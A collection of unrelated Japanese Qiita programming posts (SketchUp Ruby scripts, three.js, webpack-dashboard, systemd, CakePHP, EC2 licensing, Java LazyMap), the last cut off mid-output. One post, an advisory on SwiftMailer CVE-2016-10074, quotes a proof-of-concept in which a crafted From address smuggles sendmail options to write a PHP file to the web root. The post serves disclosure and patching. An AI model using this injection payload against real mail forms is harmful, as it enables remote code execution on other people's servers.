OmniAICreator/Qiita-1.07M huggingface dataset:
SketchUp Make v17 / Ruby > 複数のGroupを整列する > X方向

```txt:動作環境
SketchUp Make v17.1.173
MacOS X El Capitan
```

関連　http://qiita.com/7of9/items/ff5921cf65b5f88d9311

NIC directでフレーム発注する予定のlaundry rackのデザイン。　

フレームの幅を変更した時の位置合わせが面倒だ。

API/Rubyの勉強ついでに実装してみた。

### code 

```align161230.rb
require 'sketchup.rb'

def align_group_to_worldOrigin()
    model = Sketchup.active_model
    my_selection = model.selection

    my_selection.each do |ent|
        if ent.is_a? Sketchup::Group
        tr = ent.transformation
        org = tr.origin # :Point3d
        pnt = Geom::Point3d.new(-org[0], -org[1], -org[2])
        mve = Geom::Transformation.new(pnt)
        ent.transform! mve
        end
    end
end

def align_groups_center_xdirection()
    model = Sketchup.active_model
    my_selection = model.selection

    firstGroup = true
    center0 = 0.0 # set 0.0 for placeholder of double type (not good coding)
    my_selection.each do |ent|
        if !(ent.is_a? Sketchup::Group) then
             continue
        end

        # calculate x center of group[0]
        tr = ent.transformation
        org = tr.origin # :Point3d
        cnt = org[0] + ent.bounds.width / 2.0 # center in x direction
        
        if firstGroup then
            # store x center of group[0]
            firstGroup = false
            center0 = cnt
        else
            # move groups according to saved info
            xshift = center0 - org[0] - ent.bounds.width / 2.0
            pnt = Geom::Point3d.new(xshift, 0, 0)
            mve = Geom::Transformation.new(pnt)
            ent.transform! mve
        end
    end
end
```

align_groups_center_xdirection()を使う。

### 実行手順

1. 複数のGroupを選択する
2. Rubyコンソールでalign_groups_center_xdirection()を実行する

整列前

![qiita.png](https://qiita-image-store.s3.amazonaws.com/0/32870/e20f2acc-b0ad-99ed-d650-64ab77785a28.png)

整列後　

![qiita.png](https://qiita-image-store.s3.amazonaws.com/0/32870/a98d8870-3dd4-12e1-2b58-7d2641922751.png)

### 座標計算について

- center0: group[0]の中心座標(X方向)

group[1..]の移動については以下としている。

1. orgとcenter0との差分を計算して、一旦group[0]の0に合わせる
2. group[1..]のwidth/2分だけ補正しなおすことで、group[1..]の中心に合わせる

上の1,2を合わせたのが以下。
`xshift = center0 - org[0] - ent.bounds.width / 2.0`


### 試用1

左の構造物のX軸をあわせることができた。

![qiita.png](https://qiita-image-store.s3.amazonaws.com/0/32870/226f391c-9153-aadc-38db-6be69f4972e2.png)
three.jsで自家製mqoloader

#概要

three.jsで自前でmqoファイルをパースして見た。

#写真

![mqo.JPG](https://qiita-image-store.s3.amazonaws.com/0/18104/ce241449-17a8-aaf3-9952-4987805f65c7.jpeg)

#環境

three.js r83

#成果物

http://jsdo.it/ohisama1/adtd
SketchUp Make v17 / Ruby > Groupを座標の(0,0,0)に移動する

```txt:動作環境
SketchUp Make v17.1.173
MacOS X El Capitan
```

関連　http://qiita.com/7of9/items/ff5921cf65b5f88d9311

選択したGroupを座標(0,0,0)に移動してみる。

参考(Group) http://ruby.sketchup.com/Sketchup/Group.html
originというプロパティを参考にした。

参考(Point3d) http://ruby.sketchup.com/Geom/Point3d.html
originはPoint3d型のようだ。

### code

Groupの位置(origin)を取得して、その反対の大きさの移動をするという方針。

```align161230.rb
require 'sketchup.rb'

def align_group_to_worldOrigin()
    model = Sketchup.active_model
    my_selection = model.selection

    my_selection.each do |ent|
        if ent.is_a? Sketchup::Group
            tr = ent.transformation
            org = tr.origin # :Point3d
            pnt = Geom::Point3d.new(-org[0], -org[1], -org[2])
    	    mve = Geom::Transformation.new(pnt)
            ent.transform! mve
        end
    end
end
```

移動前

![qiita.png](https://qiita-image-store.s3.amazonaws.com/0/32870/148c2c25-c235-f69a-bfb8-9d2609961b07.png)

移動後

![qiita.png](https://qiita-image-store.s3.amazonaws.com/0/32870/12f1f060-dd3f-bcf1-dc99-99ef7ed16c35.png)
SketchUp Make v17 / Ruby > Groupを移動する (相対的な移動)

```txt:動作環境
SketchUp Make v17.1.173
MacOS X El Capitan
```

2つのGroupの位置合わせ(例: 下、中央での位置合わせ)をしたい。
ついでにAPI/Rubyの勉強も。

その前段階として、Groupの移動コードを調べた。

参考 http://sketchucation.com/forums/viewtopic.php?f=323&t=40482
>by sdmitch » Wed Oct 05, 2011 1:21 am

にGeom::Transformation()の使い方が掲載されている。

```
tr=Geom::Transformation.new([10,0,0])#copy location
group_shell_copy.transform! tr
```

座標を直接セットするのでなく、一旦変数(例:tr)に置くようだ。
Unity(C#)でもこういう実装だった。
http://qiita.com/7of9/items/f66b87d6c2778a68c719

## code

```move161230.rb
require 'sketchup.rb'

def move_group()
    model = Sketchup.active_model
    my_selection = model.selection

    my_selection.each do |ent|
        if ent.is_a? Sketchup::Group
            tr=Geom::Transformation.new([100.mm,0,0]) ## move location
            ent.transform! tr
        end
    end
end
```

## 実行手順

上記のスクリプトをRubyコンソールにて読込む。
(スクリプトの置き場所は[こちら](http://qiita.com/7of9/items/ff5921cf65b5f88d9311)参照)

```
> load "move161230.rb"
true
```

### 前準備：group作成

1. 直方体を作る
   - 平面作成
   - プッシュプルツール
2. 直方体(グループ化してないもの)をトリプルクリックする
   - 6面が選択される
3. 右クリックー＞「groupを作成」でgroupにしておく。

### 実行

1. 上で作成したgroupを選択する
2. Rubyコンソールで「move_group()」を実行する。

これで選択したGroupが~~X軸反対方向~~画面左方向に移動する。

移動前
![qiita.png](https://qiita-image-store.s3.amazonaws.com/0/32870/1fa63ad8-094c-ff68-a453-f6b68e578a6a.png)

移動後
![qiita.png](https://qiita-image-store.s3.amazonaws.com/0/32870/8b6086b3-1487-e6ab-8dca-b20d6a639fa3.png)

### 備考

move_group()を複数回実行すると、どんどん~~X軸負方向~~画面左方向に移動していく。
赤の実線で見えているのは[象限](http://www.suriken.com/knowledge/glossary/first-quadrant.html)(quadrant)ではX軸正に入る。
つまりはX軸正方向に移動している。
リモートコード実行の脆弱性 (CVE-2016-10074) に対応した SwiftMailer のセキュリティリリース



## 概要

リモートコード実行の脆弱性 (CVE-2016-10074) に対応するために SwiftMailer 5.4.5 がリリースされました。脆弱性の条件に該当するプロジェクトはバージョンアップやアプリケーションの修正が求められます。

## 該当するプロジェクト

 * `sendmail` もしくは `sendmail` と互換性があり、`-X` オプションが利用可能であるプログラムを使う (postfix は `-X` を無効にしている)
 * From、Sender、ReturnPath フィールドの値にユーザーからの入力を使う

lsmith さんの[ツイート](https://twitter.com/lsmith/status/814446312879964161)によれば、Symfony の場合、`transport` で `smtp` の代わりに `mail` を使っているプロジェクトが該当します。

## 検証コード

脆弱性を説明する[ドキュメント](http://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html)に記載されているコードは次のようなものです。

```php
// sender フィールドをもつ問い合わせフォームから
// $_GET、$_POST  などの信用されないソースからやってくる攻撃者の入力
 
$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php "@email.com';

// ------------------
 
// SwiftMailer の脆弱性経由での mail() パラメーターインジェクション

require_once 'lib/swift_required.php';
// メールトランスポート
$transport = Swift_MailTransport::newInstance();
// 先ほど生成した Transport を使って Mailer を生成する 
$mailer = Swift_Mailer::newInstance($transport);

// メッセージを生成する
$message = Swift_Message::newInstance('Swift PoC exploit')
  ->setFrom(array($email_from => 'PoC Exploit Payload'))
  ->setTo(array('receiver@domain.org', 'other@domain.org' => 'A name'))
  ->setBody('Here is the message itself')
  ;
// 'from' フィールドに PoC ペイロードをもつメッセージを送る
$result = $mailer->send($message);
```

同時期に PHPMailer のプロジェクトでも CVE-2016-10033 および CVE-2016-10045 の脆弱性に対応したバージョンが公開されました。脆弱性のくわしい解説については HASH コンサルティングの徳丸先生の[ブログ記事](http://blog.tokumaru.org/2016/12/PHPMailer-Vulnerability-CVE-2016-10033.html)をご参照ください。

## 非推奨になった機能と将来への対応

`Swift_MailTransport` および `Swift_Transport_MailTransport ` が非推奨なり、バージョン 6.0 で削除される予定です。アプリケーションに脆弱性がなくても、これらのクラスを使っている場合、将来のバージョンに備えてコードを修正する必要があります。

## 今後の対応

今回の脆弱性の原因が `mail`、`escapeshellarg`、`escapeshellcmd` 関数の仕様にあることから、複数のプロジェクトのあいだで利用できるコードの開発や、これらの標準関数の改善を視野に入れた[セキュリティアドバイザリ](https://gist.github.com/Zenexer/40d02da5e07f151adeaeeaa11af9ab36)が執筆されています。SwiftMailer に脆弱性がまだ存在するのではないかということで[調査](https://github.com/swiftmailer/swiftmailer/issues/848)も続けられています。
webpack-dashboardでコンソールをオシャンティにする（だけじゃない）

結構前に[webpack-dashboard](https://github.com/FormidableLabs/webpack-dashboard) ([InfoQの記事](https://www.infoq.com/jp/news/2016/08/webpack-dashboard))がリリースされて導入したいと思いつつなかなか時間が取れなかったのですが、ようやく時間を作れたのでElectronアプリのプロジェクトに適用してみました。

結果↓の様にいい感じになりました。
![スクリーンショット 2016-12-29 22.04.41.png](https://qiita-image-store.s3.amazonaws.com/0/25588/64af0111-eb4e-8755-c288-78f58e6a6eed.png)

記事執筆時の最新バージョン0.2.0を使用しています。導入方法がv0.1系から若干変わったようです。


# 動作環境

macOSの `ターミナル.app` や `iTerm2` などで動くようですが、私は `ターミナル.app` を使っているので他の環境は試していません。
(Windowsについては特に触れられていないけど、動くのかな・・・)
`ターミナル.app` の場合はメニューから[表示] → [マウスレポーティングを許可]にチェックを入れておかないといけません。（英語の場合は[View] → [Allow Mouse Reporting]）
チェックを入れないとダッシュボード上のLogやModulesのボックス内でスクロールできない模様。
`ターミナル.app` のバージョンによってはこのオプションがないかもしれないので、そのときはiTerm2でも使ってとのことです。(バージョン2.7.1ではこのオプションがあります)

# インストール

```bash
npm install webpack-dashboard --save-dev
# or
yarn add webpack-dashboard --dev
```

# 使い方

expressを使っているかどうかで適用方法が変わります。今回はexpressを使っているのでその方法を書きます。expressを使っていない場合は[README](https://github.com/FormidableLabs/webpack-dashboard#packagejson-recommended)を参照してください。

(1) ↓こんな感じでプラグインを差し込んで

```diff:server.js
 const path = require('path');
 const express = require('express');
 const webpack = require('webpack');
+const DashboardPlugin = require('webpack-dashboard/plugin');
 const config = require('./webpack.config.development');

 const app = express();
 const compiler = webpack(config);

+compiler.apply(new DashboardPlugin());

 app.use(require('webpack-dev-middleware')(compiler, {
   publicPath: config.output.publicPath,
   stats: {
     colors: true
   }
 }));

```

(2) 起動スクリプトを変更して、webpack-dashboard経由で起動するようにします。

```diff:package.json
   "scripts": {
     "test": "echo \"Error: no test specified\" && exit 1",
     "lint": "eslint app test *.js",
-    "hot-server": "node server.js",
+    "hot-server": "webpack-dashboard -- node server.js",
     "build": "cross-env NODE_ENV=production webpack --config webpack.config.production.js --progress --profile --colors",
     "start": "cross-env NODE_ENV=production electron ./",
     "start-hot": "cross-env HOT=1 NODE_ENV=development electron ./",
```

あとは変わらず、↓のように実行すればダッシュボードが表示されます。

```
npm run hot-server
```

以上です。

_Rails serverにもダッシュボードがほしい・・・_
プログラマのためのSQL　第四版　すべてを知り尽くしたいあなたのために

#始めに
「プログラマのためのSQL　第四版　すべてを知り尽くしたいあなたのために」の第一章を読んだ時のメモをアップします

#メモ
![image](https://qiita-image-store.s3.amazonaws.com/0/136860/d6a4ee44-9a55-c172-43a1-54b4169b6cb7.png)
three.jsで自家製objloader

#概要
three.jsで自前でobjファイルをパースして見た。

#写真

![obj.JPG](https://qiita-image-store.s3.amazonaws.com/0/18104/7e45bc96-8c1a-47ad-aa38-400836d82fe1.jpeg)

#環境

three.js r83

#成果物

http://jsdo.it/ohisama1/QvID
systemd で起動するサービスで環境変数が読み込めなかった

# 環境

+ CentOS7

# 参考

+ [systemdでユーザーの環境変数を読み込むようにする](https://bacchi.me/linux/systemd-tips/)

# 問題

systemd で起動するサービスで環境変数の読み込みを行う処理が合ったが、失敗し、エラーログが出力されていた。（具体的には $HOME の読み込み）
起動されるプロセスを `ps` コマンドで確認すると root ユーザーで実行されているようで、かつ root ユーザーで `env` コマンドを見ても環境変数は指定されており、なんでやとなっていた

# 解決方法

起動対象の `/etc/systemd/system/xxxx.service` についてユーザー名を指定する。
以下のような記述を追記。

```xxxx.service
[Service]
User=root
```

変更後、対象サービスの停止、設定変更のリロード、サービス起動を行うことで環境変数が読み込めないエラーは発生しなくなった。

```bash
$systemctl stop xxxx
$systemctl daemon-reload
$systemctl start xxxx
```
これを見るとUserを指定しない場合、rootでは実行されていなかったということなのか？一度時間があれば調べてみる
Elixirのrelxがcan't find include libになるのを治す

#Elixirのrelxがcan't find include libになるのを治す

リリースビルドとか調べててexrm入れて```$ mix compile```したら

```
===> Compiling relx
===> Compiling src/rlx_topo.erl failed
include/relx.hrl:18: can't find include lib "erlware_commons/include/ec_cmd_log.hrl"
include/relx.hrl:19: can't find include lib "providers/include/providers.hrl"
```

とか言われてしまった...

exrmを使うときに必要なrelxの依存関係がおかしいのか他に必要な物が入っていないようだ

何が必要なのかと調べたら答えがあった

https://github.com/erlware/relx/blob/master/rebar.config

上記のrebar.configに

```erlang:rebar.config
{deps, [{erlware_commons, "0.22.0"},
        {providers, "1.6.0"},
        {getopt, "0.8.2"},
        {cf, "0.2.2"},
        {bbmustache, "1.0.4"}
       ]}.
```

と書いてあるので下記の物が必要なようだ

erlware_commons : https://hex.pm/packages/erlware_commons
providers : https://hex.pm/packages/providers
getopt : https://hex.pm/packages/getopt
cf : https://hex.pm/packages/cf
bbmustache : https://hex.pm/packages/bbmustache/1.0.1

最終的にmix.exsはこうなった(かなり削ってます)

```ex:mix.exs
def application do
    [mod: {PhoenixChat, []},
     applications: [:erlware_commons, :providers, :getopt, :cf, :bbmustache]]
     #Phoenixの残骸ありますが気にしないで()
end

defp deps do
    [{:exrm, "~> 1.0"}, #ここを {:relx, "~> 3.22"} にすればexrmじゃなくてrelx単体で入る
     {:erlware_commons, "~> 0.22.0"},
     {:providers, "~> 1.6"},
     {:getopt, "~> 0.8.2"},
     {:cf, "~> 0.2.2"},
     {:bbmustache, "~> 1.0"}]
end
```

上記の物は古くなってるかもしれないので参考にする人は上記の[hex.pm](https://hex.pm/)のリンクから最新のものを入れるようにしてください
オブジェクトじゃなくて、カメラを動かす。



ごめんなさい、仕事が忙しすぎて今頃の投稿になります…。
今回はカメラアニメーションにおけるちょっとした小ネタになります。



## カメラを動かしてよりダイナミックな絵作りを
プログラムでジェネ系の映像を作ってるとき、オブジェクトばかりを動かしてカメラを動かさない絵をよく見かけるので、初心者はカメラを動かすことを覚えるといいよ、という提案です。

## オブジェクトを動かす、とは
![cameraexample_qiia.gif](https://qiita-image-store.s3.amazonaws.com/0/54225/2275ab32-dc67-8911-069a-ae059dbd64f7.gif "cameraexample_qiia.gif")

魅せたいオブジェクトが白のボックスだとしたら、だいたいまずはみなさんこいつを動かそうとします。
今回は単純なXZ平面に対する円運動と、オブジェクト自身がXとYにRotateしております。
だいたいクリエイティブコーディング系の環境だと

```
box.position.x = cos(time) * 500;
box.position.z = sin(time) * 500;

box.rotateY(0.01);
box.rotateX(0.01);
```

みたいなコードをUpdate関数で延々と呼び続けることでできるはずです。
しかしこの手の動きはどんなにいじってもだいたい眠くなりがち。


## カメラを動かす、とは
![cameraexample_qiia02.gif](https://qiita-image-store.s3.amazonaws.com/0/54225/d2838432-b28e-f4e7-f323-d73df8bf4be3.gif "cameraexample_qiia02.gif")


カメラをグッと魅せたいオブジェクトへ持って行きます。
これで結構インパクトのある絵になってきました。


必要な概念は2つ。

* カメラ自身のposition
* カメラ自身が向いてる方向

です。これから詳しく説明していきます。


## カメラと白いボックスの初期設定

カメラ自身が向いてる方向は、だいたい初期値ではvec3(0,0,0)になってると思います。
これはカメラが3Dワールドの中心を見ているということです。

今回この白いボックスはvec3(0,0,0)、つまり座標系の中心に置いています。
3Dワールドの中心で、白いボックスはくるくる回っています。

そして今回、カメラの初期の情報は以下の通りに設定しました。

```
camera.position.z = 500;
camera.position.y = 100;

camera.lookAt(vec3(0,0,0));
```


これは白いボックスより手前に500、上に100の位置にあるカメラが、3Dワールドの中心、つまり白いボックスを見つめている状態です。
ちなみにOpenGLの右手座標系のお話ですので、各自適当に置き換えてください。

## そして動かす


カメラをグッと白いボックスへ寄せたい場合、カメラ自身はオブジェクトの手前で寸止めすればいいので

```
camera.position.z += (box.position.z+100 - camera.position.z)*0.1;
camera.position.y += (box.position.y+50 - camera.position.y)*0.1;
```

これは、boxのzより100手前、boxのyより50上の部分にグッとよるコードになります。
最初ははやく、目的地に近くなればなるほどゆっくりと進むeasingがかかっています。
重要なのはグッと寄って手前で止まる、ということです。

<br>
そして次にカメラの注視点を動かします。

```
lookat_x = sin(this.timer*0.8)*10;
lookat_y = cos(this.timer*2)*10;
camera.lookAt(vec3(lookat_x, lookat_y, 0));
```

これはつまりどういうことかというと、カメラの注視点が、x,yにそれぞれ -10 ~ 10 のあいだでゆらゆらしているということです。

カメラというのは、現実世界だと人間がもって動かす事が多いですよね。
スマホなんかで動画をとってるとき、カメラをズームしてみてください。
少しの手ブレでも絵が大きくうごきますよね？それを再現しています。


2Dのアニメーションなどでも、こういった演出はよく見られます。

以下のYoutube動画で参考になりそうなリンクを貼っておきました。
40秒あたりからカメラがグッとより、寄ったあとでカメラがゆらっと動く演出があります。ハースストーンのトレーラはどれもカメラワークの演出が素晴らしいので、色々見て参考にしてください。

[「仁義なきガジェッツァン」シネマティック・トレーラー](https://youtu.be/VZaGM3eQnk8?t=38s)



## 余談
![cameraexample_qiia03.gif](https://qiita-image-store.s3.amazonaws.com/0/54225/d4859f6c-ad1e-fa47-8183-aae4af3827b7.gif "cameraexample_qiia03.gif")

こんな感じで3Dワールド全体をグルッと回りながら、Z軸のsin運動を大きくとってみたり、少しy軸にゆらゆらずらしてみると奥行きが表現しやすかったりします。また与える時間軸もそれぞれの値ごとにずらしてみると、変化が増えて面白いです。

```
camera.position.z = sin(this.timer) * 100 + 200;
camera.position.y = sin(this.timer*2) * 100;
camera.position.x = cos(this.timer) * 500;

lookat_x = sin(this.timer*0.8)*10;
lookat_y = cos(this.timer*2)*10;
camera.lookAt(vec3(lookat_x, lookat_y, 0));
```

映像を作ってるとき、なんか眠いんだよなーと思ったときは、大胆にカメラを動かしてみるとよいかもしれません。

<b>ただあんまり多用すると逆に酔ってしまうので、ほどほどにしましょう…。</b>


今回はわかりやすく大きめの値を設定しておりますが、実際は少しの値の変化でも印象がガラッと変わってくれます！
ぜひ試してみてください！
技術英語 > a blank line, because we don't want to [feel crowded]. / make space for the rest to grow

@ Introducing Python: Modern Computing in Simple Packages by Bill Lubanovic
(No. 233 / 12833)

Pythonのコードの紹介の部分。
その4行目について。

> Line4: a blank line, because we don't want to **<font color=red>feel crowded</font>**.

http://learnersdictionary.com/definition/crowded
> : filled with too many people or things

意訳「4行目は空白行です。なぜなら（コードが）込み入ったようにはしたくないからです。」

<hr>
@ LOE > December 19, 2014

> and **<font color=red>make space for the rest to grow</font>**.

意訳「残りの者たちが成長するための余白を残しておく」
native addonによる応答のバイナリ化・続き

## 目的
http://qiita.com/takeswim/items/fdae9dea612eda8c18a3

「ゲームのサーバとしてNode.jsを使っていたのですが、応答のバイナリ化についてnative addonでどれだけ処理が改善できるのか」を証明しようと意気込んだadvent calendar向け実験した結果が余りに夢がなかったので、今年のうちにもう少し夢を追ってみることにしました。

## 追試

https://github.com/takeswim/playerdata_nativeaddon

この実験からさらにパフォーマンスを上げる方向で調整し、ここまで改善しました。
- v8::Object::Get()で使用するkeyをあらかじめ用意する
- v8::String::WriteUtf8()が重いのでASCII文字が担保されている文字列はWriteOneByte()に任せる(UUIDとか)

そもそもサンプルデータの作り方もよくなかったのでJSON.stringifyの方の処理時間も下がっていますが、native addonが重い状況は変わりません。以前の2倍超よりは収まっているようです。

| num items | JSON.stringify | native addon |
|:-:|:-:|:-:|
| 100 | 34.342ms | 53.611ms |
| 200 | 62.441ms | 105.324ms |
| 300 | 93.283ms | 158.426ms |
| 400 | 122.436ms | 199.763ms |
| 500 | 158.034ms | 263.912ms |
| 600 | 186.730ms | 323.354ms |
| 700 | 213.992ms | 378.184ms |
| 800 | 242.050ms | 474.247ms |
| 900 | 270.003ms | 451.293ms |
| 1000 | 305.387ms | 494.912ms |

どこがボトルネックになっているのか一つ一つ処理を落としながら眺めていたのですが、どうも`v8::Object::Get()`が思いのほか重い。これは引数でObjectを渡しているのが良くなさそうです。

PLAYERDATA,ITEMDATAそれぞれバイナリ化する機能を分け引数の渡し方も文字か数値のみにするようにすれば、もう少し改善できるのでは…とも思いましたが、そうすると最終的にPLAYERDATA,ITEMDATAを連結しLOGINDATAを作るのはjs側になり「LOGINDATAをnative addonで作る」という趣旨から離れてしまいます。
現状は現状で1call辺り1msec以下で十分軽量であること、応答したバイナリはクライアントでデシリアライズすることなく素で使えること(=サーバは負荷増だがクライアントサイドのCPUリソース負荷軽減)を考えると、これはこれでよいのではないかとも思います。

## addonの実装を最小単位にしてみる

ということで趣旨から離れてPLAYERDATA,ITEMDATA変換をaddonで実装しjs側で連結する、という手法を試してみました…が、結果はnative addonで全実装するよりも遅くなりました。

追いかけてみたところ返り値のBufferを作る`Nan::CopyBuffer((char*)buf, sizeof_buf)`ここもまた重いポイントになっていました。最小単位にしてもアイテム数分callされることになり、結果として時間がかかるようになったと思われます。

| num items | use minimal addon |
|:-:|:-:|:-:|
| 100 | 118.767ms | 
| 200 | 194.401ms | 
| 300 | 279.565ms | 
| 400 | 374.365ms | 
| 500 | 464.634ms | 
| 600 | 580.934ms | 
| 700 | 660.586ms | 
| 800 | 756.732ms | 
| 900 | 844.234ms | 
| 1000 | 938.798ms | 

## breによるバイナリ化
趣旨から離れるのであれば、コメントでいただいたbreによるバイナリ化でnode.js側で実装することも選択になると思います。こちらについても実装してみました…が、結論としては処理に時間がかかりそうでした。

| num items | use bre |
|:-:|:-:|:-:|
| 100 | 1135.328ms | 
| 200 | 2135.037ms | 
| 300 | 3152.748ms | 
| 400 | 4175.101ms | 
| 500 | 5222.016ms | 
| 600 | 6201.442ms | 
| 700 | 7396.662ms | 
| 800 | 32462.285ms | 
| 900 | 36018.517ms | 
| 1000 | 39275.021ms | 

defineObjectRecord(),view()値の書き込みに時間がかかっている印象でした。
使い方が良くないかもしれません。

## 結論
- 引数がObjectの場合、値取得のアクセスが重くなる。
- 応答バイナリはBufferで返す必要があり、この生成も重い。応答データはなるべく1つの関数内で作成を済ませたほうが良い。かつなるべく引数はObjectで渡さないほうが良い。
- サーバのCPUリソースを使ってクライアントのCPUリソースを空ける、という意味では、native addonでの応答バイナリ化は良い選択かもしれない。
CakePHP3：File Cacheを使う場合のパーミッションについて

3.3.11で確認しました。

apacheだけでなく、Shellを使ってプログラムを実行する場合の注意点です。デフォルトの設定ですと
apacheユーザが作成したcacheファイルのパーミッションは655のため他のユーザ（例えば、ec2-user）が書き込むことができません。

対策1：sudoでShellを実行する

```
sudo -u apache /var/www/html/app/bin/cake check_url
```

対策2：cacheファイルのmaskを0666に設定する 【注意：umaskではなくmaskです】

```config/app.php
        '_cake_core_' => [
            'className' => 'File',
            'prefix' => 'myapp_cake_core_',
            'path' => CACHE . 'persistent/',
            'serialize' => true,
            'duration' => '+2 minutes',
            'url' => env('CACHE_CAKECORE_URL', null),
            'mask' => 0666, // ココと
        ],
        '_cake_model_' => [
            'className' => 'File',
            'prefix' => 'myapp_cake_model_',
            'path' => CACHE . 'models/',
            'serialize' => true,
            'duration' => '+2 minutes',
            'url' => env('CACHE_CAKEMODEL_URL', null),
            'mask' => 0666, // ココ
        ],

```

なお、0666を'0666'と記述するのはNGです（理由は不明、ご存知の方、教えてください…）
VXM-155VFiで動画再生したい


私の車のカーナビはVXM-155VFiを利用しています。
携帯はiPhoneなので、HDMI変換ケーブルでカーナビと繋いで動画再生していたのですが、相性が悪いのか接触が悪いのか接続が度々切れます。
（ケーブル断線気味なのかと思い買い直したんですが同じ事象のままでした）

そこでSDカードに動画を入れて再生する手段を選んだわけなんですが少し注意しなければうまく再生できないようだったので記録しておきます。

## VXM-155VFiの制約
![スクリーンショット 2016-12-30 3.39.45.png](https://qiita-image-store.s3.amazonaws.com/0/26911/309aed22-dc68-6042-8c8f-a0d956718979.png "スクリーンショット 2016-12-30 3.39.45.png")
[コチラ](http://www.honda.co.jp/manual-access/navi/vxm-155vfi/)のマニュアルを見る限り解像度、フレームレート、コーデックの制約があることがわかります。

## どうしたか？
いろいろ試行錯誤しましたが、結論から言うと[youtube-dl](https://rg3.github.io/youtube-dl/)をbrewで入れて`-f18`オプションでダウンロードするだけでした。

HandBreakなど変換ソフトを利用して試みたんですがうまく行きませんでした。
EC2(Windows Server)にMicroSoft Officeを導入したいがライセンスが気になる

#はじめに
EC2上でExcel動かしたいんだけど、という要望があり、
あまり聞かない話だな、と思ってライセンス周りを確認しました。

#結果としては、導入可能
よくある質問に記載がありました。
https://aws.amazon.com/jp/windows/faq/#byol-office

>自分の Office ライセンスを AWS で使用することは可能ですか?
>>はい。EC2 Dedicated Hosts または EC2 ハードウェア専有インスタンスでは、Microsoft Office を BYOL で使用することが可能です。既存のライセンスを EC2 Dedicated Hosts または EC2 ハードウェア専有インスタンスに持ち込んだ場合、全面的にお客様専用のハードウェアを使用していることになります。この場合、Microsoft 製品規約内のアウトソーシング条項が適用されます。そのため、自分の Windows クライアントライセンスに自分の Office ライセンスを持ち込むことが可能になります。

##ただしいくつか注意事項がある
- EC2 Dedicated Hosts または EC2 ハードウェア専有インスタンスを使用すること
- BYOL、つまりライセンスは自分で用意して持ち込むこと（ライセンス込みのAMIは無い）

#AWSにおけるMicroSoftのライセンス全般の話
上記の記載を見てもピンとこなかったので、さらに深く調べていきます。
https://aws.amazon.com/jp/windows/resources/licensing/

MicrosoftソフトウェアライセンスをAWSクラウドで使用するためには、下記いずれかの手法をとります。

1.ライセンスを AWS から購入する
2.ライセンスを AWS に持ち込む

##1.ライセンスを AWS から購入する
ここでいうライセンスの購入とは、
ライセンス込みのAMIからインスタンスをローンチすることを指します。

そうすることで、インスタンスの課金にライセンス費用が上乗せされます。

###Windows Serverのライセンスが含まれないAMIなんてあるの？
自前の仮想マシンをVM ImportでAMIに変換したケースが該当するかと想定しています。

###1.の対象となる製品
- Microsoft Windows Server
- Microsoft SQL Server

この2つ以外のMicroSoft製品は、ライセンスを自前で用意しなければならないということです。

##2.ライセンスを AWS に持ち込む
このパターンは更に細分化されます。

2.1.ソフトウェアアシュアランスなしの場合
2.2.ソフトウェアアシュアランスありの場合

###ソフトウェアアシュアランスとは
Microsoftのライセンスを大量に購入した場合に、いろいろと特典をつけてくれるオプションです。

ソフトウェアアシュアランスがあれば、
MicroSoft製品によってはライセンスモビリティが使用できます。
（ちなみにMicroSoft Officeは対象外です。）

https://aws.amazon.com/jp/windows/faq/#lm
>ライセンスモビリティは、Microsoft ボリュームライセンスをお持ちのお客様がご利用になれる特典です。

###ライセンスモビリティがあると何がよいのか
ホストをやハードウェアを専有する必要がなくなります。

逆に言うと、ライセンスモビリティがないと、
共有テナンシーのインスタンスにライセンスを持ち込むことは出来ません。

###テナンシーの種類
EC2やRDSのインスタンスは、AWSが管理する物理的なサーバ上で動く仮想マシンですが、
その際の物理的なサーバ（ホストハードウェア）の扱い方によって種類があります。

http://docs.aws.amazon.com/ja_jp/AmazonVPC/latest/UserGuide/dedicated-instance.html#dedicated-howitworks

|No.| テナント属性の値 | 説明 |
|:--|:--|:--|
|①| default  | 共有テナンシー、あるいはMulti-Tenant。異なるAWSアカウントのインスタンスとホストハードウェアをシェアする。 |
|②|  dedicated |  ハードウェア専有インスタンス、あるいはDedicated instances。異なるAWSアカウントのインスタンスとハードウェアをシェアしない。 |
|③| host  | 専有ホスト、あるいはDedicated Hosts。ホストハードウェア自体を専有する。  |

###ソフトウェアアシュアランス（SA）の有無とテナンシーの組み合わせ

|No.|テナント属性の値|2.1.SAなし|2.2.SAあり|
|:--|:--|:--|:--|
|①| default  |✕|△|
|②|  dedicated |○|○|
|③| host  |○|○|

簡単に書くとこうなりますが、実際は製品によってさらに細分化されますので、
詳細は下記ページの表をご確認ください。
https://aws.amazon.com/jp/windows/faq/#byol-choice

また、「ソフトウェアアシュアランスによるライセンスモビリティ」が
可能なMicroSoft製品については、下記ページを参照してください。
https://aws.amazon.com/jp/windows/resources/licensemobility/

#おわりに
結果、MicroSoft Officeを導入する際は、
2.1.ソフトウェアアシュアランスなしの場合に該当し、
テナンシーとして②③いずれかを選択する必要がある、ということを理解しました。

普段Windows Serverのライセンスを気にしなかったので、よい勉強となりました。

以上です。
LazyMapでリストのマップを作る

DBに入っている都道府県の情報を、categoryをキーとして、nameのリストを値に持つマップに変換する。
（日本語で書くとようわからんけど、要するにList\<SampleEntity\>をMap\<String, List\<String\>\>に変換したい）

| category | name |
|:-:|:-:|
|北海道|北海道|
|東北地方|青森県|
|東北地方|岩手県|
|東北地方|宮城県|
|東北地方|秋田県|
|東北地方|山形県|
|東北地方|福島県|
|関東地方|茨城県|
|関東地方|栃木県|
|関東地方|群馬県|
|関東地方|埼玉県|
|関東地方|千葉県|
|関東地方|東京都|
|関東地方|神奈川県|

普通にやろうとすると、初回（リストが存在しない場合）と２回目以降（リストが存在する場合）で分岐しなければならないので面倒だが…

```java:
Map<String, List<String>> map = new HashMap<String, List<String>>();

for (SampleEntity en : entityList) {
    if (!map.containsKey(en.getCategory()) {
        map.put(en.getCategory(), new ArrayList<String>());
    }
    map.get(en.getCategory()).add(en.getName());
}
```

LazyMapを使うとこんなにすっきり書ける。
宣言がごちゃごちゃするけど、その分ロジックがシンプルになる。

```java:
Map<String, List<String>> map = MapUtils.lazyMap(new HashMap<String, List<String>>(),
        InstantiateFactory.instantiateFactory(ArrayList.class, null, null));

for (SampleEntity en : entityList) {
    map.get(en.getCategory()).add(en.getName());
}

System.out.println(map);
/* === 出力結果 ===
 * {北海道=[北海道],
